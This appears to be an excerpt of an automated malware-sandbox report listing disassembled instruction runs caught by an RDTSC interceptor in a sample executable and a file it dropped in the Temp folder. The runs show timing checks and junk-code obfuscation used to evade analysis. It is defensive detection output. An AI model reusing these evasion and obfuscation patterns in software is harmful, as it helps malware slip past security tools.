Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 535062C second address: 5350632 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5350632 second address: 5350636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5350636 second address: 535067F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FE580B2A1B6h 0x00000010 sub si, 87C8h 0x00000015 jmp 00007FE580B2A1ABh 0x0000001a popfd 0x0000001b mov ah, B9h 0x0000001d popad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FE580B2A1B1h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 535067F second address: 535069D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED981h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dh, ABh 0x0000000f push eax 0x00000010 pop edx 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 535069D second address: 53506D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE580B2A1B8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 53506D1 second address: 53506D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5350771 second address: 5350775 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5350775 second address: 535077B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 53401D1 second address: 534023F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE580B2A1AFh 0x00000009 xor cx, A66Eh 0x0000000e jmp 00007FE580B2A1B9h 0x00000013 popfd 0x00000014 mov bl, al 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b push edi 0x0000001c pop edx 0x0000001d jmp 00007FE580B2A1B0h 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007FE580B2A1ADh 0x0000002e jmp 00007FE580B2A1ABh 0x00000033 popfd 0x00000034 pushad 0x00000035 popad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 534023F second address: 5340266 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edi 0x00000005 mov si, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub esp, 2Ch 0x0000000e jmp 00007FE580CED983h 0x00000013 xchg eax, ebx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340266 second address: 53402D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FE580B2A1B8h 0x0000000d xchg eax, ebx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FE580B2A1AEh 0x00000015 add eax, 195CAB68h 0x0000001b jmp 00007FE580B2A1ABh 0x00000020 popfd 0x00000021 mov si, 4D5Fh 0x00000025 popad 0x00000026 xchg eax, edi 0x00000027 pushad 0x00000028 mov bx, cx 0x0000002b mov cx, 63F3h 0x0000002f popad 0x00000030 push eax 0x00000031 jmp 00007FE580B2A1B9h 0x00000036 xchg eax, edi 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 53402D9 second address: 53402DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 53402DD second address: 53402E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 53402E3 second address: 53402E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340311 second address: 5340336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FE580B2A1B1h 0x0000000a popad 0x0000000b sub ebx, ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE580B2A1AAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340426 second address: 5340435 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED97Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340489 second address: 5340524 instructions: 0x00000000 rdtsc 0x00000002 call 00007FE580B2A1B8h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b test eax, eax 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FE580B2A1B7h 0x00000014 or ax, 1D3Eh 0x00000019 jmp 00007FE580B2A1B9h 0x0000001e popfd 0x0000001f pushad 0x00000020 jmp 00007FE580B2A1AEh 0x00000025 pushfd 0x00000026 jmp 00007FE580B2A1B2h 0x0000002b xor al, 00000068h 0x0000002e jmp 00007FE580B2A1ABh 0x00000033 popfd 0x00000034 popad 0x00000035 popad 0x00000036 jg 00007FE5F214811Eh 0x0000003c pushad 0x0000003d movzx eax, di 0x00000040 push eax 0x00000041 push edx 0x00000042 mov di, 1C62h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340524 second address: 53405A5 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, 49569CAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a js 00007FE580CED9FFh 0x00000010 pushad 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FE580CED981h 0x00000018 jmp 00007FE580CED97Bh 0x0000001d popfd 0x0000001e mov dx, ax 0x00000021 popad 0x00000022 pushfd 0x00000023 jmp 00007FE580CED984h 0x00000028 or esi, 5C5AE958h 0x0000002e jmp 00007FE580CED97Bh 0x00000033 popfd 0x00000034 popad 0x00000035 cmp dword ptr [ebp-14h], edi 0x00000038 jmp 00007FE580CED986h 0x0000003d jne 00007FE5F230B878h 0x00000043 push eax 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 pushad 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 53405A5 second address: 53405A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 53405A9 second address: 53405AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 53405AF second address: 53405B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 53405B5 second address: 53405C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 53405C6 second address: 53405CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 534000C second address: 5340012 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340012 second address: 5340016 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340016 second address: 5340081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FE580CED984h 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007FE580CED980h 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FE580CED97Eh 0x0000001f xor si, 0568h 0x00000024 jmp 00007FE580CED97Bh 0x00000029 popfd 0x0000002a mov dx, si 0x0000002d popad 0x0000002e xchg eax, ecx 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FE580CED981h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340081 second address: 53400E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 76h 0x00000005 pushfd 0x00000006 jmp 00007FE580B2A1B8h 0x0000000b and al, 00000028h 0x0000000e jmp 00007FE580B2A1ABh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 pushad 0x00000019 movzx esi, di 0x0000001c popad 0x0000001d xchg eax, ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 mov cx, B4A5h 0x00000025 pushfd 0x00000026 jmp 00007FE580B2A1B2h 0x0000002b add ecx, 1939A7B8h 0x00000031 jmp 00007FE580B2A1ABh 0x00000036 popfd 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 53400E5 second address: 53400FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE580CED984h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 53400FD second address: 5340128 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-04h], 55534552h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FE580B2A1B8h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340128 second address: 5340139 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE580CED97Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 534015D second address: 5340161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340161 second address: 5340188 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 1BE7CFABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a leave 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE580CED988h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340188 second address: 534018C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 534018C second address: 5340192 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340B34 second address: 5340B38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340B38 second address: 5340B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340B3E second address: 5340B4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE580B2A1ADh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340B4F second address: 5340BCE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED981h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FE580CED97Ah 0x00000015 xor ecx, 4E99C528h 0x0000001b jmp 00007FE580CED97Bh 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007FE580CED988h 0x00000027 jmp 00007FE580CED985h 0x0000002c popfd 0x0000002d popad 0x0000002e mov ch, C3h 0x00000030 popad 0x00000031 cmp dword ptr [769B459Ch], 05h 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b mov esi, 0259970Bh 0x00000040 mov si, 98E7h 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340BCE second address: 5340BEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE580B2A1B8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340BEA second address: 5340C02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FE5F22FB783h 0x0000000e pushad 0x0000000f mov edx, 67017C60h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340C02 second address: 5340C06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340C4D second address: 5340C6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED981h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 63061839h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340C6D second address: 5340C8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, ch 0x00000005 mov ah, bl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 159C8411h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FE580B2A1ABh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340C8B second address: 5340CA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE580CED984h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340CA3 second address: 5340CA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340CA7 second address: 5340CBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FE5F2302839h 0x0000000d push 76952B70h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [769B4538h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 mov dx, ax 0x00000058 pushad 0x00000059 popad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5340D38 second address: 5340D6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FE580B2A1B1h 0x00000008 pop esi 0x00000009 mov edx, 0BB51054h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 je 00007FE5F212DDD6h 0x00000017 pushad 0x00000018 mov ecx, edi 0x0000001a pushad 0x0000001b call 00007FE580B2A1ABh 0x00000020 pop eax 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 535086D second address: 53508A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED980h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FE580CED980h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE580CED97Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 53508A4 second address: 53508AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 53508AA second address: 53508D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, B8h 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007FE580CED97Bh 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE580CED985h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 53508D9 second address: 53508DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 53508DF second address: 5350948 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580CED983h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FE580CED984h 0x00000013 jmp 00007FE580CED985h 0x00000018 popfd 0x00000019 push eax 0x0000001a push edx 0x0000001b pushfd 0x0000001c jmp 00007FE580CED97Eh 0x00000021 add eax, 3EE35748h 0x00000027 jmp 00007FE580CED97Bh 0x0000002c popfd 0x0000002d rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5350948 second address: 5350975 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FE580B2A1B5h 0x0000000d xchg eax, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FE580B2A1ADh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5350975 second address: 5350985 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE580CED97Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5350985 second address: 5350A39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+0Ch] 0x0000000e pushad 0x0000000f mov eax, 060AE79Bh 0x00000014 pushfd 0x00000015 jmp 00007FE580B2A1B0h 0x0000001a jmp 00007FE580B2A1B5h 0x0000001f popfd 0x00000020 popad 0x00000021 test esi, esi 0x00000023 jmp 00007FE580B2A1AEh 0x00000028 je 00007FE5F2127B86h 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007FE580B2A1ADh 0x00000035 add ecx, 7E00CF36h 0x0000003b jmp 00007FE580B2A1B1h 0x00000040 popfd 0x00000041 popad 0x00000042 cmp dword ptr [769B459Ch], 05h 0x00000049 jmp 00007FE580B2A1AEh 0x0000004e je 00007FE5F213FC23h 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007FE580B2A1B7h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5350A39 second address: 5350A3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5350A3F second address: 5350A43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5350A43 second address: 5350A82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a mov eax, 07204EC9h 0x0000000f mov cl, 0Eh 0x00000011 popad 0x00000012 mov dword ptr [esp], esi 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov ah, 7Ch 0x0000001a pushfd 0x0000001b jmp 00007FE580CED97Fh 0x00000020 jmp 00007FE580CED983h 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5350ADC second address: 5350AE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5350AE2 second address: 5350AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5350AE6 second address: 5350AEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5350B53 second address: 5350B67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ecx, 78155F5Dh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5350B67 second address: 5350B6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\MFQbv2Yuzv.exe	RDTSC instruction interceptor: First address: 5350B6C second address: 5350B84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE580CED984h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: DFC56F second address: DFC573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: DFC9EA second address: DFCA17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE580CED986h 0x00000009 jno 00007FE580CED976h 0x0000000f popad 0x00000010 pop ebx 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jns 00007FE580CED976h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: DFCA17 second address: DFCA1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: DFCA1B second address: DFCA2F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007FE580CED976h 0x0000000e jnc 00007FE580CED976h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: DFCB50 second address: DFCB5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FE580B2A1A6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: DFCB5C second address: DFCB6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007FE580CED976h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\D9YNQHDH87LD7ZJ622XZKADJTLQDPY.exe	RDTSC instruction interceptor: First address: DFCD3F second address: DFCD53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE580B2A1B0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
